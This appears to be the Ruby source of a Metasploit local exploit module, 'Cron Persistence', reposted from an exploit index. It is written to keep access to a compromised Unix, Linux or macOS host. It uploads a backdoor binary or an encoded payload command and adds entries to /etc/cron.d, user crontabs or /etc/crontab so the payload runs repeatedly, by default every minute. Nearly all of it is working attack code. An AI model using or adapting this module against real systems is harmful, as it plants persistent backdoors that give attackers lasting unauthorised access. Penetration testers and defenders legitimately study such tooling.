Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/cron_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cron Persistence',
        'Description' => %q{
          This module will create a cron or crontab entry to execute a payload.
          The module includes the ability to automatically clean up those entries to prevent multiple executions.
          syslog will get a copy of the cron entry.
          Verified on Ubuntu 22.04.1, MacOS 13.7.4
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <mike@shorebreaksecurity.com>'
        ],
        'Platform' => ['unix', 'linux', 'osx'],
        'Targets' => [
          [ 'Cron', { path: '/etc/cron.d' } ],
          [ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],
          [ 'OSX User Crontab', { path: '/var/at/tabs/' } ],
          [ 'System Crontab', { path: '/etc/crontab' } ]
        ],
        'DefaultTarget' => 1,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),
        OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
        OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
      ]
    )
  end

  def check
    # https://gist.github.com/istvanp/310203 for cron regex validator
    cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
    cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
    # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'

    return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/

    return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])
    # it may not be directly writable, but we can use crontab to write it for us
    if !writable?(target.opts[:path]) && !command_exists?('crontab')
      return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")
    end

    if target.name == 'User Crontab' && !user_cron_permission?(target_user)
      return CheckCode::Unknown('User denied cron via cron.deny')
    end

    CheckCode::Appears('Cron timing is valid, no cron.deny entries found')
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def user_cron_permission?(user)
    # double check we're allowed to do cron
    # may also be /etc/cron.d/
    paths = ['/etc/', '/etc/cron.d/']
    paths.each do |path|
      if readable?("#{path}cron.allow")
        cron_auth = read_file("#{path}cron.allow")
        if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)
          vprint_good("User located in #{path}cron.allow")
          return true
        end
      end
      next unless readable?("#{path}cron.deny")

      cron_auths = read_file("#{path}cron.deny")
      if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
        vprint_error("User located in #{path}cron.deny")
        return false
      end
    end
    # no guidance, so we should be fine
    true
  end

  def install_persistence
    cron_entry = datastore['TIMING']
    cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)
    if payload.arch.first == 'cmd'
      payload_info['BadChars'] = "#%\x10\x13"
      cron_entry += " #{regenerate_payload.encoded}"
      payload_info.delete('BadChars')
    else
      file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
      backdoor = "#{writable_dir}/#{file_name}"
      vprint_status("Writing backdoor to #{backdoor}")
      upload_and_chmodx backdoor, generate_payload_exe
      cron_entry += " #{backdoor}"
    end

    case target.name
    when 'Cron'
      our_entry = Rex::Text.rand_text_alpha(8..15)
      write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
      vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
      @clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"

    when 'System Crontab'
      file_to_clean = target.opts[:path].to_s
      crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')

      append_file(file_to_clean, "\n#{cron_entry}\n")
      vprint_good("Writing #{cron_entry} to #{file_to_clean}")
      @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"

    when 'User Crontab', 'OSX User Crontab'
      path = target.opts[:path]
      if !writable?(path)
        print_status("Utilizing crontab since we can't write to #{path}")
        cmd_exec("echo \"#{cron_entry}\" | crontab -")
      else
        file_to_clean = "#{path}/#{target_user}"

        crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')
        append_file(file_to_clean, "\n#{cron_entry}\n")
        vprint_good("Writing #{cron_entry} to #{file_to_clean}")
        # at least on ubuntu, we need to reload cron to get this to work
        vprint_status('Reloading cron to pickup new entry')

        cmd_exec('service cron reload') if target.name == 'User Crontab'
        @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
      end
    end
    print_good('Payload will be triggered when cron time is reached')
  end

  def store_crontab_backup(path, desc)
    crontab_backup_content = read_file(path)
    location = store_loot("crontab.#{path.split('/').last}",
                          'text/plain', session, crontab_backup_content,
                          path.split('/').last, desc)
    vprint_good("Backed up #{path} to #{location}")
    location
  end
end